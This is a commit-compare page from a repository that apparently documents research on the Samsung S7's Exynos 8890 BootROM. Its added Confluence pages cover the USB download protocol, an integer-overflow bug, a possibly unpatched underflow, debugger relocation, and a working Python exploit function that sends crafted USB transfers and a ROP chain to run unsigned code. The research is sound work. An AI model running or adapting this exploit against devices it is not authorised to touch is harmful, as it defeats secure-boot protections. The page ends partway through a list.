Compare commits
7 Commits
ac755b81f1
...
f431e1981f
Author | SHA1 | Date | |
---|---|---|---|
|
f431e1981f | ||
|
fe58a3b869 | ||
|
e56a90f457 | ||
|
201e8485e8 | ||
|
76d1b8361c | ||
|
5bf8cf0a7f | ||
|
d9d9ae332a |
@ -23,4 +23,7 @@ make -f devices/samsung_s7/Makefile
|
||||
Then proceed to move the debugger to `dump/debugger.bin`. To get to work, run `source/exploit/exploit.py`. The launch.json's are located in source/exploit, so its recommended to open this folder in your VSCode/favourite IDE.
|
||||
|
||||
### Viewing/building documentation
|
||||
To view documentation, ensure you have sphinx installed. If not, run `sudo apt install python3-sphinx`. Then proceed to build the documentation by running `make livehtml` in `documentation`.
|
||||
To view documentation, ensure you have sphinx installed. If not, run `sudo apt install python3-sphinx`. Then proceed to build the documentation by running `make livehtml` in `documentation`.
|
||||
|
||||
## Pushing documentation to confluence
|
||||
Run `sphinx-build -b confluence source _build/confluence` from documentation/ to push docs to confluence. They will appear in the DT_Sphinx space. If running issues, be sure to remove the '_build' folder and try again!
|
@ -13,6 +13,9 @@ BUILDDIR = build
|
||||
help:
|
||||
@$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O)
|
||||
|
||||
confluence:
|
||||
@$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" -E -a $(O)
|
||||
|
||||
.PHONY: help Makefile
|
||||
|
||||
livehtml:
|
||||
|
1
documentation/_build/confluence/.cache_confluence_config
Normal file
1
documentation/_build/confluence/.cache_confluence_config
Normal file
@ -0,0 +1 @@
|
||||
{"hash": "23bc85713aeb2ef093eda071313cc8bc57509988f49973c4234ac4d9a94cc99d"}
|
@ -0,0 +1 @@
|
||||
{"BootROM_8890/01_start": "646fdd9dfa95f318f95410cdd89da6f141cd2ec81a924baaa8ea4451e8a89bc0", "BootROM_8890/02_frederics_exploit": "836eaf31227b51f67d44ededc2f5bc094ecd6b536c61959ba812edb1fbedf03d", "BootROM_8890/03_exploit_boot_chain": "a45ee44296c16624fafa979a90cc1efea179119c1f765ccd6ed62a2e7448b0b4", "BootROM_8890/04_notes": "b18e488a60b63c232c39d00ba09877caff4bf846400e2c47c08fa17eba1ff0e6", "index": "b0809c6b5260a9da5c501beb8c077ab83786dbe3e371931ab45e23b93f316ec8"}
|
@ -0,0 +1 @@
|
||||
{"index": "187979570", "BootROM_8890/01_start": "187979572", "BootROM_8890/02_frederics_exploit": "187979553", "BootROM_8890/03_exploit_boot_chain": "187979576", "BootROM_8890/04_notes": "187979578"}
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
documentation/_build/confluence/.doctrees/environment.pickle
Normal file
BIN
documentation/_build/confluence/.doctrees/environment.pickle
Normal file
Binary file not shown.
BIN
documentation/_build/confluence/.doctrees/index.doctree
Normal file
BIN
documentation/_build/confluence/.doctrees/index.doctree
Normal file
Binary file not shown.
18
documentation/_build/confluence/BootROM_8890/01_start.conf
Normal file
18
documentation/_build/confluence/BootROM_8890/01_start.conf
Normal file
@ -0,0 +1,18 @@
|
||||
<p>The Exynos 8890 BootROM is a small piece of code that runs on the Exynos SoC at boot runtime. It is responsible for initializing the hardware and loading the first stage bootloader from storage. The BootROM is stored in a read-only memory and cannot be modified.</p><p>Useful links:</p><ul>
|
||||
<li>
|
||||
<p><a href="https://github.com/LineageOS/android_kernel_samsung_universal8890/tree/lineage-18.1/arch/arm64/boot/dts">DTSI files for exynos8890</a></p></li>
|
||||
<li>
|
||||
<p><a href="https://github.com/frederic/exynos-usbdl/tree/master">Frederic exynos-usbdl on Github</a>’</p></li>
|
||||
<li>
|
||||
<p><a href="https://github.com/ananjaser1211/exynos8890-exynos-usbdl-recovery">Exynos8890 usbdl-recovery images/firmwares</a></p></li>
|
||||
</ul>
|
||||
<p>Be sure to use the correct firmware and firmware version for your S7 when trying this exploit/Frederic’s recovery boot (otherwise the booting will likely fail after sending BL31)!</p><h2>Protections</h2>
|
||||
<p>There are no stack canaries or guard pages, and no ASLR. Meaning there are almost no protections in place. There is however an SMC and a MMU. The SMC is used to communicate with the secure world, and the MMU is used to map the memory.</p><p>Rom is at address 0x0 and is unwritable (Sometimes this is writeable due to MMU caching) and is 0x20000 bytes long.</p><h2>Samsung Firmware</h2>
|
||||
<p>Samsung releases firmware files for their devices. These files contain the bootloader, modem, and other firmware files. To see how the ROM works we are interested in the sboot firmware, which contains multiple stages of the bootloader.</p><p>These files can then be used to boot the device into USB recovery. To extract the sboot.bin file from a samsung firmware file:</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">bash</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[$ unzip -p firmware.zip 'BL_*.tar.md5' | tar -Oxf - 'sboot.bin.lz4' | lz4 -d - sboot.bin]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>For additional bootloaders, see: <a href="https://github.com/ananjaser1211/exynos8890-exynos-usbdl-recovery">Github exynos8890-exynos-usbdl-recovery</a></p><h2>Memory Layout</h2>
|
||||
<p>The memory layout of the Exynos 8890 is as follows:</p><h2>Download protocol</h2>
|
||||
<p>When the ROM is unable to boot from the internal storage, it enters <code>Exynos Recovery Mode</code>.</p><p>In this mode the bootROM accepts data over USB. There is little functionality other than receiving data, meaning almost no additional attack surface except for the download protocol.</p><p>The Exynos BootROM uses a custom protocol to download a bootable image over USB. This image is verified and executed by the BootROM. Unauthorized images are rejected. Initial authorisation is done using the ‘_auth_bl1’ function. Frederic has exploited a vulnerability in the download protocol to load Unauthorized images.</p>
|
@ -0,0 +1,94 @@
|
||||
<p>Frederic published a blogpost on reversing the <a href="https://fredericb.info/2020/06/reverse-engineer-usb-stack-of-exynos-bootrom.html#reverse-engineer-usb-stack-of-exynos-bootrom">USB stack of the Exynos BootROM</a> and a blogpost on exploiting the <a href="https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom">Exynos 8890 BootROM</a>. Here we will discuss the exploit in more detail.</p><p>The code can be found in the <a href="https://github.com/frederic/exynos-usbdl/tree/master">exynos-usbdl repository</a>.</p><h2>USB Stack in BootROM</h2>
|
||||
<p>The bootRom is the first code that runs on the Exynos SoC. It is responsible for initializing the hardware and loading the first stage bootloader from storage. The BootROM is stored in a read-only memory and cannot be modified (making vulnerabilities in this permanent/non-patcheable). The BootROM is responsible for initializing the USB controller and receiving the first stage bootloader from the USB host. It will be waiting for a package in the following format (dldata == download data):</p><h3>dldata</h3>
|
||||
<p>A key For uploading a stage to boot, a custom protocol is used. The dldata that has to be send is 512 bytes long, and has the following format:</p><p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="f058c2f596741fd06339c24e16eb4f45fad7676c43c34240d2094962cb034211.svg"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">The dldata packet is used to send data to the BootROM.</p>
|
||||
</p>
|
||||
<p>The size in the packet is the total size of the packet, including header and footer. If we modify this, we will have a payload size of around 502 bytes.</p><ac:structured-macro ac:name="note">
|
||||
<ac:rich-text-body><p>This protocol remains <em>mostly</em> the same for newer Exynos SoCs.</p></ac:rich-text-body>
|
||||
</ac:structured-macro>
|
||||
<h3>USB Controller / DWC3</h3>
|
||||
<p>The Exynos 8890 uses the Synopsys DesignWare USB 3.0 controller. Much of the code is shared with the DWC3 driver in the Linux kernel, except that the ROM does not do any scheduling and a lot of features have been removed(OTG handling, etc).</p><p>The base address of the usb controller (dwusb3) is mapped at 0x1540000, with a size of 0x10000: (can be found at: <a href="https://github.com/LineageOS/android_kernel_samsung_universal8890/tree/lineage-18.1/arch/arm64/boot/dts">Exynos8890 dtsi</a>).</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">none</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[udc: usb@15400000 {
|
||||
compatible = "samsung,exynos8890-dwusb3";
|
||||
clocks = <&clock 700>, <&clock 703>, <&clock 708>, <&clock 709>;
|
||||
clock-names = "aclk", "sclk", "phyclock", "pipe_pclk";
|
||||
reg = <0x0 0x15400000 0x10000>;
|
||||
#address-cells = <2>;
|
||||
#size-cells = <1>;
|
||||
ranges;
|
||||
usb-pm-qos-int = <255000>;
|
||||
status = "disabled";
|
||||
|
||||
usbdrd_dwc3: dwc3 {
|
||||
compatible = "synopsys,dwc3";
|
||||
reg = <0x0 0x15400000 0x10000>;
|
||||
interrupts = <0 213 0>;
|
||||
phys = <&usbdrd_phy0 0>, <&usbdrd_phy0 1>;
|
||||
phy-names = "usb2-phy", "usb3-phy";
|
||||
};
|
||||
};c]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>This is a basic USB controller, but some functions, that are also present in the linux kernel, should be visible in the bootROM as well. Available functions could be: <a href="https://android.googlesource.com/kernel/msm/+/android-msm-dory-3.10-kitkat-wear/drivers/usb/dwc3/core.h">linux-kernel-dwc3</a>.</p><p>The USB host sends a USB_REQ_SET_ADDRESS, <a href="https://asf.microchip.com/docs/latest/common.services.usb.class.composite.device.example.hidms_msc.saml21_xplained_pro/html/group__usb__protocol__group.html">‘0x05’</a>, which the connected device has to acknowledge, and will then start sending data to this address. Initially, the device will send data to ‘0x00’.</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">cpp</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[usb_reqid {
|
||||
USB_REQ_GET_STATUS = 0,
|
||||
USB_REQ_CLEAR_FEATURE = 1,
|
||||
USB_REQ_SET_FEATURE = 3,
|
||||
USB_REQ_SET_ADDRESS = 5,
|
||||
USB_REQ_GET_DESCRIPTOR = 6,
|
||||
USB_REQ_SET_DESCRIPTOR = 7,
|
||||
USB_REQ_GET_CONFIGURATION = 8,
|
||||
USB_REQ_SET_CONFIGURATION = 9,
|
||||
USB_REQ_GET_INTERFACE = 10,
|
||||
USB_REQ_SET_INTERFACE = 11,
|
||||
USB_REQ_SYNCH_FRAME = 12
|
||||
}]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>Ghidra shows <em>DWC3_DCFG & 0xfffffc00 | DWC3_DCFG & 7 | (param_1 & 0x7f) << 3;</em>, essentially preserves bits 0-2 and 10-31, and sets bits 3-9 to the value of param_1, which is then likely the address of the device.</p><p><p style="clear: both;text-align: center;">bootrom exynos 8890 dwc3_dcfg_devaddr</p>
|
||||
</p>
|
||||
<p>Other general device descriptors are also sent from the device to the host (to describe the device), these are visible in/at ‘usb_init_device_descriptor’ (6098) and usb_init_descriptors (610c). Two end point addresses are visible: bEndpointAddress 0x81 and 0x02. 0x81 is 10000001 in binary, with bit 7 being ‘1’, which means that the bulk transfer direction is IN. 0x02 is 00000010 in binary, with bit ‘7’ being ‘0’, which means that the bulk transfer direction is OUT.</p><p>Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by ‘usb_setup_event_buffer’, which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ).</p><h4>Bug 1 (Integer overflow)</h4>
|
||||
<p>Originally described in this <a href="https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom">blogpost</a>. Our if-statement is written a bit different, but boils down to the same thing.</p><p>The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called ‘dldata’. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written.</p><p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="usb_setup_ready_to_0.png"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">The ready flag is set to 0 in the Exynos 8890 BootROM in an earlier function on pdVar1->size (pdVar1.size)</p>
|
||||
</p>
|
||||
<p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="dl_data_struct.png"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">The dldata struct in the Exynos 8890 BootROM</p>
|
||||
</p>
|
||||
<ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">cpp</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[ if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) {
|
||||
*(undefined *)&pdVar1->ready = 2;
|
||||
}]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>In essence, the payload is not allowed to be larger than 0x206fff (34013183), it checks so with 2 seperate checks 1) In the first condition, the size has to be smaller than 0x206ffff (<em>pdVar1->size < 0x206ffff</em>) (34013183 in decimal), 2) and in the second condition, it checks whether 0x206ffff is indeed still less than the size of the payload + remaining (size + remaining)(<em>0x206ffff < pdVar1->size + remaining</em>).</p><p>If both conditions are met, the payload will NOT be loaded. But this makes sense, as both checks just ensure that the payload is not larger than 0x206ffff.</p><p>The bug is however, that the check that the check is done on a uint32_t (2^32 = 4294967296), but the max value that can be checked by a uint32 is 0xFDFDE7FF = 4294967295. So a value of 0xFDFDE7FF + 1 = 0xFDFDE800 = 4294967296, which is larger than the max value of a uint32. So if a payload of this size or more is used, which is much larger than the max requested value 0x206ffff, the check will pass and the payload will still be loaded.</p><p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="usb_payload_size_check.jpeg"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">The size check in the Exynos 8890 BootROM</p>
|
||||
</p>
|
||||
<p>Sending such large amounts of data can cause a memory overflow, and will cause the target to crash. Not interesting for exploitation in this context. However, the USB packages that are sent, are split into smaller packages with a size of 0xFFFE00.</p><p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="max_allowed_chunck_size.jpeg"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">The max allowed chunk size, after which the payload is split.</p>
|
||||
</p>
|
||||
<p>The dl_buf pointer is set to the amount it expects to write, instead to the amount that it has written. By transferring a large amount of data, without actually writing it (so in a package, send no data, but tell the target that you’re sending data with a length larger than 0xFDFDE800), will cause the pointer to move, without actually writing data.</p><p>The trick then becomes, to get the pointer to an address we would like to exploit unto. Then we have a little less than 512 bytes (502 according to dldata) to write our payload.</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">cpp</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[typedef struct dldata_s {
|
||||
u_int32_t ready; //start = 02021518, end = 0202151C. Length = 4
|
||||
u_int32_t size; //start = 0202151C, end = 02021520. Length = 4
|
||||
u_int8_t data[n]; //start = 02021520, end = 02021714. Length = 502 == MAX TRANSFER SIZE
|
||||
u_int16_t footer; //start = 02021714, end = 02021716. Length = 2
|
||||
} dldata;]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<h4>Bug 2</h4>
|
||||
<ac:structured-macro ac:name="note">
|
||||
<ac:rich-text-body><p>Might be a 0/N-day if exploitable</p></ac:rich-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>There is a bug(unpatched?) in receiving the last packet of the usb image:</p><p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="underflow_bug.png"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">The bug is an integer underflow in the calculation of the remaining size of the image.</p>
|
||||
</p>
|
@ -0,0 +1,281 @@
|
||||
<p>This part describes the boot chain of the <code>Exynos 8890</code> SoC.</p><ac:structured-macro ac:name="warning">
|
||||
<ac:rich-text-body><p>This is all still under development and will change.</p></ac:rich-text-body>
|
||||
</ac:structured-macro>
|
||||
<h2>General overview</h2>
|
||||
<h3>Memory layout</h3>
|
||||
<p>Keep this overview in mind when reading through the boot chain exploit.</p><h3>Approach</h3>
|
||||
<p>In our initial approach, we were manually booting all stages from the debugger, and jumping directly back to the debugger (without using the USB protocol). This was done to keep the debugger alive throughout the boot chain, but this became very difficult after BL31, as the MMU didn’t allow us to read/write to most spaces, cutting off our access to BL31 during boot at some point. And losing our debugger interface in the process.</p><p>This is also why there is some ghost code within the project. We were trying to keep the debugger alive throughout the boot chain, but this was not easily feasible.</p><h3>Boot stages</h3>
|
||||
<p>Get the correct payloads for the bootROM stages from samsung firmware files, or from <a href="https://github.com/ananjaser1211/exynos8890-exynos-usbdl-recovery">Exynos8890 usbdl-recovery images/firmwares</a>.</p><p><strong>bootrom stages</strong>
|
||||
</p>
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th><p>File</p></th>
|
||||
<th><p>Strings output</p></th>
|
||||
<th><p>Likely boot stage?</p></th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td><p>sboot.bin.1.bin</p></td>
|
||||
<td><p>Exynos BL1</p></td>
|
||||
<td><p>BL1</p></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><p>sboot.bin.2.bin</p></td>
|
||||
<td><p>BL31 %s</p></td>
|
||||
<td><p>BL31</p></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><p>sboot.bin.3.bin</p></td>
|
||||
<td><p>Unsure. Contains strings like: TOP_DIV_ACLK_MFC_600 and APOLLO_DIV_APOLLO_RUN_MONITOR</p></td>
|
||||
<td><p>BL2?</p></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><p>sboot.bin.4.bin</p></td>
|
||||
<td><p>Contains more textual information, and references to post BL2 boot, and android information</p></td>
|
||||
<td><p>Kernel boot/BL33?</p></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<h3>Gupje</h3>
|
||||
<ac:structured-macro ac:name="info">
|
||||
<ac:rich-text-body><p><a href="https://git.herreweb.nl/EljakimHerrewijnen/Samsung_S7">Gupje</a> is the debugger we’ll be loading onto the device and will be moving around throughout the bootchain.</p></ac:rich-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>Gupje needs to be built and loaded onto the device. Throughout the exploit, we’ve been moving the debugger to different spaces in memory on the device. This was necessary as the space we initially used, was in the way of the space used for BL31 or BL2. After BL31, we lost access to the debugger, as BL2 was overwriting our last available space. At some point we moved the debugger to 0x11200000, as we saw that this space was used by BL31. Here below the most important arguments to build the debugger. This space is executable when the MMU is off.</p><p>Here the <code>linksript.txt</code> file.</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">bash</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[LINKSCRIPT.txt
|
||||
|
||||
debugger_storage = 0x11201200;
|
||||
debugger_stack = 0x11201000;
|
||||
debugger_entry = 0x11200000;
|
||||
|
||||
maybe_usb_setup_read = 0x00006f88;
|
||||
dwc3_ep0_start_trans = 0x0000791c;
|
||||
usb_event_handler = 0x00007bac;
|
||||
get_endpoint_recv_buffer = 0x00007a7c;
|
||||
exynos_sleep = 0x000027c8;
|
||||
|
||||
g_recv_buffer = 0x11201600;
|
||||
g_data_received = 0x11201400;]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>And the <code>symbols.ld</code> file.</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">bash</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[SYMBOLS.ld
|
||||
|
||||
MEMORY {
|
||||
ROM (rwx): ORIGIN = 0x11200000, LENGTH = 0x1000
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x11200000;
|
||||
.text . : {
|
||||
*(.text*)
|
||||
*(.data*)
|
||||
*(.rodata*)
|
||||
} >ROM
|
||||
|
||||
}]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<h2>Debuggers</h2>
|
||||
<p>After initial exploitation the goal was to fully boot the device. We’re now moving into the next phase: 1) loading a debugger 2) and then to continue booting the device. If we manage to keep access to the debugger throughout the boot, this gives us room to exploit the device. But, the debugger needs to be kept ‘alive’ through the boot chain. The main difficulties here are the location of the debugger in memory (as it gets overwritten) and the MMU being enabled after BL31.</p><h3>Initial debugger</h3>
|
||||
<p>The initial debugger is written to <code>0x2069000</code>, with debugger_stack and _storage at <code>0x0206b000</code> and <code>0x0206d000</code> respectively.</p><p>After the initial loading of the debugger, the processor state reported is (using ghidra assistant):</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">bash</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[root | DEBUG |
|
||||
X0 : 0x0 | X1 : 0xffffffff | X2 : 0x20215d8 | X3 : 0x2021894 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
|
||||
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
|
||||
X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x2000 | X20 : 0x2069000 |
|
||||
X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
|
||||
X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20219b8 | SP/X31 : 0x2020ef0]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>LR/X30 being the line register. This is the address the processor will jump to when the function is done (important to keep track off).</p><h3>Second debugger</h3>
|
||||
<p>After a cache flush, the debugger seems to be cleared as well, so the debugger is relocated to <code>0x20c0000</code>, with _stack and _storage now at <code>0x20c2000</code> and <code>0x20c4000</code> respectively. This is done by running:</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">python</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[self.cd.arch_dbg.state.auto_sync = False
|
||||
self.cd.arch_dbg.state.auto_sync_special = False
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
|
||||
def relocate_debugger():
|
||||
# Seems to be cleared upon cache clearing??
|
||||
debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x020c0000, debugger_reloc)
|
||||
self.usb_write(b"FLSH") # Flush cache
|
||||
self.cd.restore_stack_and_jump(0x020c0000)
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
|
||||
self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)
|
||||
relocate_debugger()]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>The processor state reported then is:</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">bash</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[root | DEBUG |
|
||||
X0 : 0x0 | X1 : 0x1 | X2 : 0x20215d8 | X3 : 0x2021894 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
|
||||
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
|
||||
X14 : 0xf | X15 : 0x20c4000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x2000 | X20 : 0x2069000 |
|
||||
X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
|
||||
X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20c0000 | SP/X31 : 0x2020ef0]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<h3>Final debugger</h3>
|
||||
<p>We searched for quite some time for a space which was both writeable and executable. After BL31, most space became unreachable, with the MMU not allowing read/write at most spaces. We tried putting the debugger in the GPU cache, and tried some other spaces visible in the dtsi files, but eventually we found a space at <code>0x11200000</code>. This space is executable when the MMU is off. With the MMU on, we can read/write but not execute here.</p><h3>Python part</h3>
|
||||
<p>Python code to setup the debugger.</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">python</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[# Setup initial debugger
|
||||
self.setup_guppy_debugger()
|
||||
self.cd.arch_dbg.state.auto_sync = False
|
||||
self.cd.arch_dbg.state.auto_sync_special = False
|
||||
logger.debug('State after setting up initial debugger')
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
DEBUGGER_ADDR = 0x2069000 # 0x2069000
|
||||
|
||||
# Relocate debugger
|
||||
debugger = open("../../dump/reloc_debugger_0x11200000.bin", "rb").read()
|
||||
self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11201200, g_data_received=0x11201400)
|
||||
DEBUGGER_ADDR = 0x11200000
|
||||
|
||||
# Test debugger connection
|
||||
self.cd.test_connection()]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<h2>Stage 1 - Initial exploit</h2>
|
||||
<p>Frederic created a payload called ‘Exynos8890dump_bootrom’, which used the usb dwc3 protocol (USB Synopsys DesignWare USB 3.0), to read and dump the bootrom. This payload was slightly modified, to keep the USB connection alive (stage1.bin). Frederic’s C code was implemented in python.</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">python</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[def exploit(self, payload: bytes):
|
||||
'''
|
||||
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
|
||||
'''
|
||||
assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
|
||||
|
||||
current_offset = TARGET_OFFSETS[self.target][0]
|
||||
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
|
||||
transferred = ctypes.c_int()
|
||||
|
||||
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
|
||||
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
|
||||
max_payload_size = 0x100000000 - size_to_overflow
|
||||
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
|
||||
|
||||
# Assert that payload is 502 bytes
|
||||
payload = payload + ((max_payload_size - len(payload)) * b"\x00")
|
||||
assert len(payload) == max_payload_size, "Invalid payload. Size is wrong"
|
||||
|
||||
# First send payload to trigger the bug
|
||||
bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
|
||||
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
|
||||
assert res == 0, "Error triggering payload"
|
||||
assert transferred.value == len(bug_payload), "Invalid transfered size"
|
||||
current_offset += len(bug_payload) - 8 # Remove header
|
||||
|
||||
cnt = 0
|
||||
while True:
|
||||
if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
|
||||
break
|
||||
self.send_empty_transfer()
|
||||
current_offset += CHUNK_SIZE
|
||||
cnt += 1
|
||||
if current_offset > 0x100000000:
|
||||
current_offset = current_offset - 0x100000000 #reset 32 byte integer
|
||||
print(f"{cnt} {hex(current_offset)}")
|
||||
|
||||
remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
|
||||
assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
|
||||
if remaining > BLOCK_SIZE:
|
||||
self.send_empty_transfer()
|
||||
# Send last transfer, TODO who aligns this ROM??
|
||||
current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
|
||||
cnt += 1
|
||||
print(f"{cnt} {hex(current_offset)}")
|
||||
|
||||
# Build ROP chain.
|
||||
rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
|
||||
transferred = ctypes.c_int(0)
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
|
||||
assert res == 0, "Error sending ROP chain"
|
||||
return]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>After this exploitation, we’re able to send custom payloads. The first payload that is sent, sets up the debugger. In order to run the debugger, a small amount of the bootROM was reversed in order to implement send/recv functionality.</p><p>@EljakimHerrewijnen: what send/recv did you reverse? What code from the bootROM did you reverse?</p><h2>Stage 2 - BL1</h2>
|
||||
<p>Here, in order, the patches we applied to get BL1 to boot:</p><p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="484c133648e1cadce9ac668f651d7a7a3be4730c319f3413d0ce2c72099478f6.svg"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">Boot chain</p>
|
||||
</p>
|
||||
<ul>
|
||||
<li>
|
||||
<p>Overwrite the USB return address pointer (<em>0x02020f60</em>) to jump back to the debugger. <code>self.cd.memwrite_region(0x02020f60, p64(DEBUGGER_ADDR))</code></p></li>
|
||||
<li>
|
||||
